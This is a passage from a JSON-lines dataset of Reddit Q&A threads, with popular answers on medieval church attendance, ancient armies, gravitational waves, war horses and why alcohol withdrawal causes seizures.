for any 'what would you do if..' head on over to /r/whatwouldyoudo", "I say less pedantry and more pageantry but who the fuck am I.", "Honestly this subreddit should be called \"questions that you would normally ask someone, but it'd probably take a lot of energy to answer, and thus they'd be annoyed, so you're better off asking here; also, just answer it like I have no idea what the jargon means but I'm still a smart person\" subreddit.", "Can we **please** have a rule that you need to spend at least 10 minutes researching the topic before posting. Half the questions can be answered by reading the first sentence in wikipaedia.", "\"One that note\" *Shivers*", "How do we feel about questions that, if googled, yield extremely simple replies?", "Vehemently? Suppositions? Can you please ELI5...", "I've gotten bitched at for asking \"questions that you should already know\"\n\n\u0ca0_\u0ca0\n\notherwise this subreddit is pretty awesome. ", "i get the feeling ELI5 is feeling the heat from /r/askscience.  they've raised the bar over there.", "i just hate the \"THIS SHOULD BE POSTED IN ASKREDDIT, NOT ELI5 ASSHOLE\" posts. they often overlap. LET THE UPVOTES DECIDE!", "I'd like the moderators to start being more strict. I understand that it can be awkward moderating heavily because you don't want to come across like overzealous moderators or think it's more fair to just let it all happen democratically or whatever, but you're moderators - don't be afraid to moderate. Otherwise the subreddit'll get worse and further away from the original purpose as more and more people come. \n\nEver notice that [/r/AskReddit](/r/AskReddit) was supposed to be 'for thought-provoking, inspired questions', but totally isn't? Take a page from [/r/AskScience](/r/askscience)'s book and follow their example - don't hesitate to remove stuff that's shitty, otherwise people'll continue to complain about the quality of the subreddit and it'll still continue to do shitty things like all the other subreddits. Then we have to deal with all the drama about the 'direction of the subreddit' and you moderators have to make repetitive futile pleas like this.\n\nSo, shitty jokes, irrelevant answers, bad answers, biased answers, bad questions, biased questions, useless feuds about the definition of 'ELI5', transparently disguised DAE posts, and all other such uninteresting and uneducational shite, you should just mercilessly remove it all so we and you don't have to look at it, talk about it, have these threads, and distract from the original purpose and goal of the subreddit, which is just learning interesting stuff.\n\nHell, make me a moderator and I'll do it for you.", "Also.. for any 'what would you do if..' head on over to /r/whatwouldyoudo", "I say less pedantry and more pageantry but who the fuck am I.", "Honestly this subreddit should be called \"questions that you would normally ask someone, but it'd probably take a lot of energy to answer, and thus they'd be annoyed, so you're better off asking here; also, just answer it like I have no idea what the jargon means but I'm still a smart person\" subreddit.", "Can we **please** have a rule that you need to spend at least 10 minutes researching the topic before posting. Half the questions can be answered by reading the first sentence in wikipaedia.", "\"One that note\" *Shivers*", "How do we feel about questions that, if googled, yield extremely simple replies?"]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/explainlikeimfive/comments/ldbf4/calling_all_fiveyearolds_submit_your_favorite/"], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "60m81x", "title": "What would happen if I, a peasant, didn't show up to Church in Catholic Europe in the Middle Ages?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/60m81x/what_would_happen_if_i_a_peasant_didnt_show_up_to/", "answers": {"a_id": ["df7rg85", "df9nosn"], "score": [257, 2], "text": ["Eh, you'd be missing out on the most active cycle of the local gossip mill, skip a chance to hang out with your friends, risk missing a major event (like a celebrity preacher's sermon after Mass) that people would be talking about for awhile.\n\nOr, you know, you might BURN IN HELL FOREVER!!!11!1!\n\nA useful way to think about the history of the western medieval and early modern Church is as a history of getting more and more people *to* church. Our picture of lay religious life in the early Middle Ages is unfortunately hazy. The basic emphasis, though, was on baptism--which in practical terms, meant the basic emphasis was on getting adults to bring their infants for baptism. That was the crux (...) of being a Christian. Parents would have to attest they understood basic elements of Christianity (recite the Our Father, the central prayer of the medieval Church; know the Creed, a poem-like assertion of Christian dogma). But weekly church attendance? Honestly, scholars have debated whether early medieval priests even preached sermons *at all*. (Bishops did, but the average priest?)\n\nFrom around the year 1000 right through the Reformation and Catholic Reformation, a series of escalating reform movements swept through the western Church. I say \"escalating\" because each movement was driven by/involved/affected increasingly large and lay groups of people. It started off aristocratically enough, with a few nobles pushing to reform a few monasteries for more effective prayers for the noble families' souls. In the twelfth century, along with the major intellectual developments both inside and outside of religion, we see lay adults take a interest in remaking their *entire lives* in a \"Christ-like\" manner. This might mean going on crusade; this might mean running off to the forest to become a religious hermit; this might mean helping found one of the new, more rigorous monastic orders; this might mean the Church in Rome thinks your town's religious revival is dangerous and anti-establishment (read: anti-them) and wants to burn you all at the stake.\n\nSpurred by the activity, excitement, and paranoia over heresy that burbled up in the 12C, the Fourth Lateran Council of 1215 made one of the most important and famous declarations in Church history, known as *Omnis utriusque sexus*:\n\n >  All [Christians] of both sexes shall, after they have reached the age of discretion, faithfully confess all their sins at least once a year to their [parish] priest, and perform to the best of their ability the penance imposed, receiving reverently at least at Easter the sacrament of the Eucharist.\n\n*Omnis utriusque sexus*, thus, added 2 church visits every year to the requirements for a Christian. (1) come to confession during Lent so you would be in a state of grace for (2) reception of the Eucharist--the Body of Christ; no wine/Blood for the laity--on Easter. It's not an accident, by the way, that the 12th-13th century also codifies reception of the sacraments, and specifically these, as pretty much the most important activities for Christians on earth (baptism, which remits original sin, is the sine qua non, of course).\n\nFrom 1215 into the early fifteenth century, we can say a couple of things about Church attendance and requirements. First, it obviously took Canon 21 some time to be successfully implemented. It's really hard to sketch out the speed with which it spread geographically and in terms of enforcement and excitement, which probably doesn't come as a surprise. However, scholars agree that by 1400 or so, lay Christian in western Europe were indeed going to confession around Palm Sunday or so and receiving the Eucharist (bread only!) on Easter as a general practice. \n\nSecond, also by 1400, this was probably not the only time *most* lay people were in church! For one thing, although *reception* of the Eucharist was a very limited occurrence outside the clergy, monasteries, and some communities of overly devout semi-lay women, the *public performance* of the sacrament--in terms of consecration of the elements and consumption by priests--was absolutely not. A sort of secondary visual reception of the sacrament was considered to have benefits for the soul, too--in fact, to be safer in a sense, because watching someone else receive the Eucharist was an act of prayer and devotion on your part, but you didn't risk hellfire for receiving it when you hadn't been absolved of all your sins. WIth incense swirling around the altar, bells ringing, elaborate staging--even *watching* the consecration and priest's reception was a central, and popular, moment for late medieval laity to commune with the sacred.\n\nFor another, over the course of the later Middle Ages, the sermon became a centerpiece of Christian ritual life. Sometimes preached during Mass, more often afterwards (and sometimes not even attached to a church service at all), sermons became one of the emotional and devotional touchstones of Church life for medieval laity. *Rural villages* in 15C Germay find their one peasant who can write a few words to complain to the local bishop that they need a better priest, one who can actually preach. Booklets of sermon collections are one of the hottest-selling genres of early print. It's not an accident that sermons and preaching become the key to the tsunami of the early Reformation, both as a vehicle of its spread *and* as a theological/pastoral issue. By the fifteenth century and increasingly over its course, sermons *mattered*.\n\nSo this gives a sense of what Church attendance looked like \"generally\". The requirement to present your kids for baptism, the requirement to confess your sins during Lent, the requirement to receive the Eucharist (in one kind) at Easter. Plus a fluctuating array of additional options (including, by 15C, some jurisdictions offering confession/the Eucharist to the laity up to four, count 'em FOUR, times a year!). Was there enforcement?\n\nWe can point to a few things, absolutely. Canon 21 already prescribes excommunication for people who do not show up for confession and the Eucharist. In practical terms, this meant...well, it meant you couldn't receive the sacraments the next year. :P Nah, the real implications were soteriological (related to salvation): you were going to die out of a state of grace, go to hell, and you couldn't be buried in consecrated ground. There was also public penance to be done when excommunication was lifted, in addition to private penances of prayers, pilgrimages, and so forth.\n\nIn 15th century handbooks for confession, that offered some form of guidance to priests on how to perform that sacrament (scholars still debate exactly what form of guidance...the genre is troublesome), you can start to see occasional references to weekly (Sunday) Mass attendance being a norm or a rule. However, it's not a mortal sin to skip *watching* the Eucharist like it is to miss receiving it. You can even find some that talk about nuns skipping Mass specifically to do needlework being the problem!\n\nActually, that last part gets picked up by some civic ordinances, which require guilds to seize the profits of their members that were gained by working on Sundays. That's not quite a reference to missing *church*, but it falls into the general realm of keeping the Sabbath. (And besides, the rest of \"keeping the Sabbath\" generally involved food and hanging out and reading gory saints' lives to your kids if you were literate and owned a book. If you were an urban artisan in the 15C you might well have, so.)\n\nOne additional set of consequences is ephemeral, but crucial: social. There would be the rumor mill as to *why* a person needed to skip confession, of course. But more to the point, Church life--the sacraments, celebrations afterwards, participation in a local confraternity or religious guild, upkeep for the local church building--was the center of late medieval culture, even for the laity. (Even craft guilds had heavy religious involvement as a collective). Surely most people skipped a Mass from time to time, ducked out of a sermon (although why?--our general sense is that people's attention was...not always on the preacher, shall we say), and so forth. But repeated refusal, and of course skipping reception of the sacraments, would cut a person out of the lifeblood of their community.", "This isn't medieval, but it is related. Recently I was reading a book that compiled primary sources of crimes, and I found that a lot of them had to do with not attending church, or attending church the wrong way. People often broke the rules.  Here are some of my favorites:\n\n\"Pendle, Lancashire, 1518. Agnes Atchynson adn Joan, widow of John Bybby, regularly stay away from church, but they are paupers and have no clothes.\"\n\n\"Graffham, SUssex, 1626. I present William Munnery, a potter, for that he upon Sunday, 21st November, 1624, was so exceedingly drunke that he spued in our church most beastly, in the tyme of divine service, at evneing prayer, before all the congregacion.\"\n\n\"Blythburgh, SUffolk, 1597. Mary Knights. For that she coming to churche do bring maistifes to church into the stoole with her wherebie the parishners cannot have ther seats; and she also useth to chide and braule in the churche.\"\n\n\"Steeple, Essex, 1638. Against Sargent Winckeild. Presented, for misdemeanour and unseemly actions, by casting things at the maides in sermon tyme and sticking feathers on a maides wastcoate.\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "k38l0", "title": "Is our general idea of life in the ancient times and medieval times pretty accurate?", "selftext": "For example, were ancient armies really that awe inspiring? Did they really fight that organized (like greeks and romans) and have such amazing armor and weapons? Obviously liberties are taken when making a historic movie/game/show/whatever but are the \"realistic\" ones pretty spot on?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/k38l0/is_our_general_idea_of_life_in_the_ancient_times/", "answers": {"a_id": ["c2h6d66", "c2h7rp3", "c2jdyci", "c2h6d66", "c2h7rp3", "c2jdyci"], "score": [9, 7, 2, 9, 7, 2], "text": ["While feats shown in movies are embellished to make for good cinema there is no doubt that armies such as the ancient Romans and Spartans were formidable fighting forces. The success of their respective countries/city-states in warfare bears this out.\n\nDepending on the period of history we have a pretty good idea of the general overview of how countries were run and how major political events transpired. Our understanding of history is usually from the viewpoint of those educated enough to record events. For this reason much of our understanding of history comes from nobility and religious groups. In many cases our understanding of how daily life transpired for a common person is completely limited to interpretation of physical artifacts.\n\nOverall though it really varies, depending on the time period and location historians can have access to lots of or little data.\n\ntldr: It depends on the time and place.", "Rayyn is correct.  This is a matter of much speculation, and obviously we cannot know for sure.  It depends heavily on the time and place, but in the last fifty years our understanding of the ancient world especially has made incredible advances.  Until the 20th century, virtually everything people knew about the ancient past was derived from a few ancient works of literature, such as the Illiad, the Bible, or the Chinese Shangshu (Classic of History).  A few early adventurer-archaeologists complicated the picture a little bit, but it generally created more problems than it solved.\n\nAll this has changed in the last hundred years, and especially in the last fifty years.  The standardization of international research methods, the coordination made possible through communication technology, and the uses of scientific techniques has opened up the ancient world in profound ways.  Today we know a ton about the general picture of some periods of ancient history, periods that were virtually unknown just a few decades ago.  Some significant gaps (dark ages) remain in the continuity of the story, but it would not be inaccurate to say that we know thousands more years of history than most people have known.\n\nThere are still huge problems in the details, of course, but our *general* idea of life in ancient and medieval times is pretty accurate.  If we sent a historian back in time to any major civilization after the rise of Sumer, it is pretty likely that he or she would understand much of what he sees.  The language would sound only similar enough that one could figure it out, the culture would have some surprises but would generally make sense, and the materials and technology would mostly correspond to our picture.  The time-traveler would certainly not be able to fit in, but assuming they did not kill him as a stranger, one should probably be able to make good sense of most of what he or she finds.\n\ntldr: Our *general* idea of life in the ancient and medieval world is *probably* more accurate than not, at least in the stable periods.", "To speak on the Romans specifically, yes their military was rigidly organized. Obviously, this is a generalizing statement, there were likely examples of instances where this is not true, but for the most part, you do not become the biggest and strongest military in the world without being pretty organized. Also, the Romans had military \"Formations\" which they used in battle against the enemies, which served not only specific combat purposes, but really scared the crap out of their opponents.\n\nOf the top of my head, the most impressive and scary formation they used was the Phalanx, or tortoise formation (likely taken from the Greeks, and even seen on artwork in Mesopotamia WAY before the Greeks). In this formation they all stacked their shields together, some held them forward, some upwards, and some to either sides, completely covering everything but their feet. They then carried their spears and swords on the outsides and stabbed at the enemy.\n\nI think its important to note, if you've ever seen an American military movie, specifically about the Civil War, there are constantly people running away from battle once the fighting starts. I see no reason to believe that even the mighty Roman and Greek armies would not have experienced similar instances. In fact, it was likely an issue because Romans punished deserters with death (though there are many examples of deserters being excused).\n\nTL, DR: For the most part, the winning army was likely the most organized army, so the greatest and most victorious armies, were likely as organized as modern film and TV would show", "While feats shown in movies are embellished to make for good cinema there is no doubt that armies such as the ancient Romans and Spartans were formidable fighting forces. The success of their respective countries/city-states in warfare bears this out.\n\nDepending on the period of history we have a pretty good idea of the general overview of how countries were run and how major political events transpired. Our understanding of history is usually from the viewpoint of those educated enough to record events. For this reason much of our understanding of history comes from nobility and religious groups. In many cases our understanding of how daily life transpired for a common person is completely limited to interpretation of physical artifacts.\n\nOverall though it really varies, depending on the time period and location historians can have access to lots of or little data.\n\ntldr: It depends on the time and place.", "Rayyn is correct.  This is a matter of much speculation, and obviously we cannot know for sure.  It depends heavily on the time and place, but in the last fifty years our understanding of the ancient world especially has made incredible advances.  Until the 20th century, virtually everything people knew about the ancient past was derived from a few ancient works of literature, such as the Illiad, the Bible, or the Chinese Shangshu (Classic of History).  A few early adventurer-archaeologists complicated the picture a little bit, but it generally created more problems than it solved.\n\nAll this has changed in the last hundred years, and especially in the last fifty years.  The standardization of international research methods, the coordination made possible through communication technology, and the uses of scientific techniques has opened up the ancient world in profound ways.  Today we know a ton about the general picture of some periods of ancient history, periods that were virtually unknown just a few decades ago.  Some significant gaps (dark ages) remain in the continuity of the story, but it would not be inaccurate to say that we know thousands more years of history than most people have known.\n\nThere are still huge problems in the details, of course, but our *general* idea of life in ancient and medieval times is pretty accurate.  If we sent a historian back in time to any major civilization after the rise of Sumer, it is pretty likely that he or she would understand much of what he sees.  The language would sound only similar enough that one could figure it out, the culture would have some surprises but would generally make sense, and the materials and technology would mostly correspond to our picture.  The time-traveler would certainly not be able to fit in, but assuming they did not kill him as a stranger, one should probably be able to make good sense of most of what he or she finds.\n\ntldr: Our *general* idea of life in the ancient and medieval world is *probably* more accurate than not, at least in the stable periods.", "To speak on the Romans specifically, yes their military was rigidly organized. Obviously, this is a generalizing statement, there were likely examples of instances where this is not true, but for the most part, you do not become the biggest and strongest military in the world without being pretty organized. Also, the Romans had military \"Formations\" which they used in battle against the enemies, which served not only specific combat purposes, but really scared the crap out of their opponents.\n\nOf the top of my head, the most impressive and scary formation they used was the Phalanx, or tortoise formation (likely taken from the Greeks, and even seen on artwork in Mesopotamia WAY before the Greeks). In this formation they all stacked their shields together, some held them forward, some upwards, and some to either sides, completely covering everything but their feet. They then carried their spears and swords on the outsides and stabbed at the enemy.\n\nI think its important to note, if you've ever seen an American military movie, specifically about the Civil War, there are constantly people running away from battle once the fighting starts. I see no reason to believe that even the mighty Roman and Greek armies would not have experienced similar instances. In fact, it was likely an issue because Romans punished deserters with death (though there are many examples of deserters being excused).\n\nTL, DR: For the most part, the winning army was likely the most organized army, so the greatest and most victorious armies, were likely as organized as modern film and TV would show"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "8huxlo", "title": "[Physics] How did physicists prove that gravitational waves do not travel faster than the speed of light?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/8huxlo/physics_how_did_physicists_prove_that/", "answers": {"a_id": ["dymshmu", "dyn371y"], "score": [119, 5], "text": ["Physicists have known for a long time that gravity \"moves\" at the speed of light. According to Einstein's theory of relativity, nothing can ever move faster than c, not even gravity.\n\nLast year, physicists observed a neutron star collision that caused a gravitational wave and a burst of gamma rays to be detected at nearly the exact same time, proving that they travel at the same speed, c.\n\n[_URL_1_](_URL_0_)", "If you're asking about the experimental evidence, then there's astronomical evidence as u/[xYaldabaoth](_URL_0_) pointed out.\n\nIf you're asking for mathematical proof, then one can show that the gravitational waves follow from the Einstein equations for gravity in a low intensity field regime. In that regime, the equation literally is a \"wave equation\" and the parameter indicating the speed is exactly the speed of light. Or more correctly, the wave equation describing light waves and the wave equation describing gravitational waves possess the same speed parameter, which we call the \"speed of light\" but probably should more appropriately be named the \"Einstein constant\" or something like that."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.sciencealert.com/speed-of-gravitational-waves-and-light-same", "https://www.sciencealert.com/speed\\-of\\-gravitational\\-waves\\-and\\-light\\-same"], ["https://www.reddit.com/user/xYaldabaoth"]]}
{"q_id": "7bfbkt", "title": "why is crossing your fingers considered both a sign of wishing someone good luck and a sign of someone lying?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7bfbkt/eli5_why_is_crossing_your_fingers_considered_both/", "answers": {"a_id": ["dphifjg", "dphixho", "dphvnf2"], "score": [188, 29, 10], "text": ["The sign of the cross, made with your fingers, is a form of quiet Christian prayer.\n\nWhile the origins are lost to time, people theorize that it means \"God forgive me for lying\" and \"God please grant good luck.\"", "It originates with Christianity as an invocation of God's protection and as a ward against bad consequences. From this we get the generic \"good luck\" version where you hope someone succeeds at some act, but also the \"lying\" version, which you see mainly in children who would wish to be protected against the bad consequences of their lying.", "Fun fact: in Germany crossing fingers doesn\u2019t help luck, but \u2018pressing your thumb\u2019 does. Given the religious background in Germany you\u2019d think the fingers crossed would be the same. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "9mpybb", "title": "Is there any species of animals that create or modify their food to enhance their experience similar to how us humans do so?", "selftext": "I\u2019m sorry for the misleading flair. Not sure what to put this question under ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/9mpybb/is_there_any_species_of_animals_that_create_or/", "answers": {"a_id": ["e7hyqf7", "e7hyx4b"], "score": [21, 7], "text": ["The only one I can think of are the Japanese Macaques who will rinse their potatoes. That doesn't seem very significant, lots of primates will brush dirt and such off their food, but these do it with a rinse in a river. Hardly sounds like seasoning, eh?\n\nSome time after this technique spread from the original, Imo, to other populations of macaques, an interesting thing occurred. Instead of rinsing in the river,  lmo rinsed it in the ocean, for the salty flavor. How do we know it was for the flavor and not just for a wash? She was dipping the spud back into the saltwater after every bite. ", "I'm not sure if any animals specifically 'enhance' food for flavor purposes. Here are some examples of ways animals do work with food though:\n\n[Raccoons 'wash' their food](_URL_0_) before eating. they are different theories about whether this is for hygienic reasons, or if it is because it gives them better tactile sense of what something is since they have poor vision and it may help to identify the food.\n\nAnts are well known for ['farming' fungus](_URL_2_) and ['milking' aphids](_URL_1_). These could also just be classified as mutualistic relationships but there are a lot of parallels to human agriculture in these ant behaviors. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://animals.howstuffworks.com/mammals/raccoons-wash-food1.htm", "https://link.springer.com/chapter/10.1007/978-1-4419-0378-5_1", "https://en.wikipedia.org/wiki/Ant%E2%80%93fungus_mutualism"]]}
{"q_id": "1ed66v", "title": "is it possible for a terrestrial planet to have the same mass of our sun(and remain stable) or would it collapse under its own weight?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1ed66v/is_it_possible_for_a_terrestrial_planet_to_have/", "answers": {"a_id": ["c9z37hr"], "score": [100], "text": ["It would definitely collapse under its own weight.\n\nSince you're only specifying \"terrestrial planet\" here, I'm assuming you're only adding silicates, carbon, oxygen, and maybe iron to this hypothetical body - the main constituents of our planet. The amount of gravitational compression caused by a solar mass worth of this material would quickly raise the temperature, turning the interior to a plasma. \n\nThermal pressure would sustain this material in such a hot plasma state for a few tens of thousands of years and the body could remain somewhat puffed up, but as it cooled gravitational compression would quickly win out, turning the interior into [degenerate matter](_URL_0_). For all intents and purposes, the body would become a white dwarf star.\n\nNote that since there's very little hydrogen or helium in the mix here, fusion could not be sustained. If you added a significant amount of such materials, the plasma state could be maintained for a much longer time as thermal pressure could fight against gravitational compression."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Degenerate_matter"]]}
{"q_id": "330o98", "title": "I've always read about war horses being \"man-killers\" and recently read about a 17th century war horse disembowling a groom. Were horses really that dangerous?", "selftext": "I know that a horse can easily trample people to death during battle, and forgive me of my ignorance, but I run across stories of dangerous horses and they seem a little extreme. Could a horse really disembowel a man ?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/330o98/ive_always_read_about_war_horses_being_mankillers/", "answers": {"a_id": ["cqggsbz", "cqgjb9m", "cqgjf8a", "cqglk16", "cqgqyg3", "cqh210k", "cqh28bu"], "score": [332, 57, 735, 28, 38, 4, 5], "text": ["Throughout history and throughout the world, different battle tactics required different types of horses and horse training. I assume you meant the kinds of horses trained for battle in Europe during the middle ages.  [This askhistorians thread goes into how war horses were trained in that regard and wht they were capable of.  ](_URL_1_) \n\nWar horses were trained to be used in a battle, meaning they didn't run away from loud noises/screaming, were used to the bad smells, could jump and move through a battlefield with varying degrees of direction from the rider.  They also sometimes wore [different kinds of armour](_URL_0_) that made them more dangerous to those around them. \n\n\nThe easiest answer to you question is yes, horses are that dangerous.  They are huge animals, can be trained for battle and were used in various war maneuvers like a calvary charge that provided them opportunities to maim and kill.  I guess it depends on what you mean by extreme.  ", "To put into perspective historical war horses, there are very well documented histories of racing thoroughbreds killing or maiming people without any sort of war training. [Apologies for the clickbait-esq link](_URL_0_) but it summarizes a thread of professional horse handlers speaking about some of the nastiest horses in the racing industry's history, with pictures and some documentation. \n\nEssentially, it is hard to really understand how fast, unforgiving, and smart a really mean horse can be. The racing horses linked above primarily hurt trained professionals who had handled that specific horse over and over. I encourage you to take a walk through the internet to view the many videos of stallions killing coyotes, wolves, dogs, other stallions, cougars, etc. You will have new found respect for horses!", "Horses *are* dangerous. Unless you've spent time around them, it's hard to explain how much stronger and faster they are than humans. A horse can easily, on accident seriously injure a human.\n\nMilitary horses have a history going back many thousands of years, first as chariot pullers, and later as direct mounts. Horses, as prey animals, have to be specially trained to do this kind of work.\n\n- Trained not to run from noise\n\n- Taught to ignore bad smells, like blood\n\n- Trained to deal with a rider that's constantly shifting weight while using a weapon\n\n- Trained to know the difference between weapon use and movement commands\n\n- Trained to work without reigns\n\n- Used to balancing with armored riders (and maybe with armor on them as well)\n\nIn difference periods horses might have been trained to kick, headbutt and bite\n\nsee: \"The Medieval Warhorse from Byzantium to the Crusades\"\n\n\"The Horseman's Manual\" (Hope)\n\n\"Tudor Knight\" (Gravett)\n\n_URL_3_\n\n_URL_0_\n\n_URL_1_\n\n[\"Journal of the US Cavalry Association, Vol 13\"](_URL_2_)\n\n", "Horses were indeed trained to be used a weapon by their rider in battle. Look up \"dressage.\" It's a discipline of riding that pays homage to years of military training, where a horse had to be able to receive a very subtle cue from their rider and act upon it so as to prevent them both from dying. The Lipizzaners and other baroque breeds are also [trained in even more traditional moves](_URL_0_), which include jumping so as to get above/on top of foot soldiers, rearing up on their hind legs and striking out with their front, or jumping and kicking out their back legs. Horses are extremely trainable animals and love to please handlers whom they have grown to respect; it's presumably possible that an intelligent horse person could have trained their war horse to do any number of offensive moves while on the battlefield, though some were more standard than others. \n\nHaving been a horse person for decades, I feel compelled to include the disclaimer that horses are not by nature aggressive animals (quite the opposite). The only horses I have ever met that are truly aggressive towards humans by their own volition (and not while being asked to do that by a handler/rider) have been abused by humans in their past or are currently in a lot of pain (i.e. suffering from ulcers). Some ponies (horses under 14.2 hands tall, a hand is 4 inches) and some mares (unspayed female horses) may have an attitude that appears as aggressiveness to a non-horse person. They are, however, big prey animals and can be startled easily if not handled appropriately (and sometimes even if they are) or view behavior as a threat which often leads to being kicked or pushed over and injured unintentionally. They exist on a fight or flight plane -- loud noises, sudden movements, anything perceived as a threat or possible predator must be escaped. If it cannot be run from, they will fight it.", "Could a horse disembowel a man? Maybe, but I doubt it. Horses don't have the right tools to remove a man's intestines or to cut him open. A horse's teeth just aren't set up for that kind of thing (being herbivores and all). And while a kick from a horse can kill you, your intestines will likely stay within your body.\n\nI've found little evidence or reason to suggest that horses were trained to kick or attack at will on the battle field. In fact, that would be a really undesirable trait for a warhorse. It would make the horse absolutely impossible to handle. There's no way around that one- if the horse is trained to attack people and other horses, it will attack people and other horses, and it won't differentiate between its handlers and its enemies, especially in a combat scenario. It would not behove a knight to have his prize horse constantly attempt to kill the squire tasked with leading it to the battlefield, nor would it be good to allow the horse to attack men randomly. Knights, by and large, wanted horses that were obedient. \n\nIn his 1853 book, \"The Horse,\" William Youatt says that, \"the after-usefulness of the animal is founded, is early attachment to and confidence in man, and obedience, resulting principally from these\" (99).\n\nI've seen the claim that horses would bite and kick in combat in a fair amount of secondary and tertiary sources, but I'm yet to find a primary source that describes this actually happening. If it did happen, I'd imagine that it was probably unintentional and not something that the knight would train into his mounts. Because again, it would make handling the horse and stabling the horse an absolute nightmare (pardon a pun). If the knights were to charge, they would be doing so in a group. Why would the knights want their horses attacking other horses in their formation? Because that's what would happen.\n\nHere is a 17th century painting of Polish warhorses.\n\n_URL_0_\n\nNotice how they are in a tight formation, not attacking each other. This is the more typical warhorse.\n\nAnd beyond that... a horse's teeth aren't going to break armor. If a horse rears to strike, that puts the knight at a huge disadvantage because suddenly, all of his weight gets thrown back and he can't reach with his sword or lance. It exposes the horse's legs and stomach, which wouldn't have been armored, and on bad footing, it sets the horse up for a fall. If the horse kicks with its hind legs, that means the knight is facing away from the threat, which again, puts him at a disadvantage because he can't turn in his armor well while in the saddle, and he can't use his weapons. If his back is to the enemy, he would either be turning or running. Additionally, cavalry serve to break infantry lines and harass the enemy. The advantage of the horse is that they are mobile. If the horse is kicking, rearing, or biting, the horse is no longer mobile- it's stationary. And if the horse isn't moving, it's a much easier target to hit.\n\nAnyway. So I don't believe in the whole \"war horses would kick and bite!\" myth. I just can't find sources that prove it, and I can't find any logic that would make it make any sort of sense.\n\nHorses are inherently dangerous, but not so dangerous that they are unable to be handled safely. Horses were ultimately a way of getting a weapon to the battlefield, and they had to be obedient enough to do so reliably. And there is no horse training in history that would allow for a horse to bite a man on it's on volition. That has universally been considered a vice that needs correcting.\n\nIf that groom was killed, he probably did something he shouldn't have done around the horse.", "You may find interesting [this medical journal entry from 1896](_URL_0_) describing injuries from horse-kicks. \"No class of traumata produce such a variety of injuries and in such varying degrees as a kick of a horse upon the abdomen.\"", "On a related note, one of the most famous statistical distributions, the Poisson distribution, was popularized through a statistician's effort to estimate the total deaths by horse-kick in the Prussian army. So it was obviously a significant enough problem to warrant a large statistical study looking into it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.aemma.org/training/mounted/images/horseKnightNomenclature.jpg", "http://www.reddit.com/r/AskHistorians/comments/1d7tu9/what_was_the_training_like_for_war_horses_during/"], ["http://www.behindthebitblog.com/2009/12/meanest-thoroughbred-stallions-ever.html?m=1"], ["http://www.classicalfencing.com/horsetraining.php", "http://www.horseguild.com/Medieval_Horse_Breeds.php", "https://books.google.com/books?id=WM89AQAAMAAJ&amp;pg=PA309&amp;lpg=PA309&amp;dq=training+horses+to+kick+military&amp;source=bl&amp;ots=uiTnkCqykH&amp;sig=is1pZxiDi4Av4xGPUwBrnNm1eJ0&amp;hl=en&amp;sa=X&amp;ei=vnMyVY3ICPC0sAS714GwDQ&amp;ved=0CDMQ6AEwAw#v=onepage&amp;q=training%20horses%20to%20kick%20military&amp;f=false", "http://www.nam.ac.uk/microsites/war-horse/explore/training-sport/training/"], ["https://www.youtube.com/watch?v=vY3wmWT-sb8"], ["http://en.wikipedia.org/wiki/Cavalry_tactics#/media/File:Husaria_pod_Kluszynem.jpg"], ["https://books.google.com/books?id=tOVXAAAAMAAJ&amp;pg=PA33&amp;lpg=PA33&amp;dq=horse+kick+to+abdomen&amp;source=bl&amp;ots=uYy4PU109Q&amp;sig=Bdwc2h7392An9PFVuWNqJqerHn8&amp;hl=en&amp;sa=X&amp;ei=wgMzVaOID4ywggSJ9IHwAg&amp;ved=0CDgQ6AEwBg#v=onepage&amp;q=horse%20kick%20to%20abdomen&amp;f=false"], []]}
{"q_id": "8alwdx", "title": "why alcohol withdrawal causes seizures", "selftext": "I've been binge watching Intervention and the alcoholics on the show are some of the hardest to watch. Just wondering what alcohol does to the body that makes the alcoholic suffer from seizures during withdrawal?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8alwdx/eli5_why_alcohol_withdrawal_causes_seizures/", "answers": {"a_id": ["dwzomh1", "dwzt6ek", "dwzvxr7"], "score": [4, 3, 9], "text": ["Alcohol works on receptors in the brain.  The more you drink the more receptors get activated.  In alcoholics that drink a large amount of alcohol consistently over time, the number of receptors increases.  Thats what builds tolerance.  If someome has a bunch of receptors they have to drink enough to activate them all and feel drunk.  When an alcoholic drinks a lot everyday those receptors are used to being acticated and it becomes a necessity.   When that necessity isnt met, i.e. someone gets sober, those receptors freak out and the reaction is sweats, tremors, withdrawals, etc.", "Its a severe rebound effect. I took pharmacology and the professor said ANY withdrawal effect is OPPOSITE of the drugs intended effect. I.e. Caffeine withdrawl you feel more fatigued.", "To put it super simply; seizures are when neurons in your brain get hyperexcited and start firing off (and often different pathways nearby that shouldn't be activated get excited too).\n\nAlcohol is a central nervous system depressant. When you chronically drink alcohol, it increases the activation/release of GABA, which is an inhibitory neurotransmitter. Again, in simple terms this just depresses the function of pathways and makes it harder for neurons to fire off. After a while, your body gets used to operating under such high levels of inhibition from all the GABA released from drinking alcohol. This manifests in the form of neurons becoming super-sensitive to any signal that's going to excite them. So on the one hand you have them being depressed by GABA, and on the other you have them being hypersensitive to whatever activates them. This balances out to basically normal function.\n\nWhen you finally stop drinking, suddenly you're no longer getting that excessive GABA release and so they're not being inhibited/depressed any.ore. *But*, the neurons are still 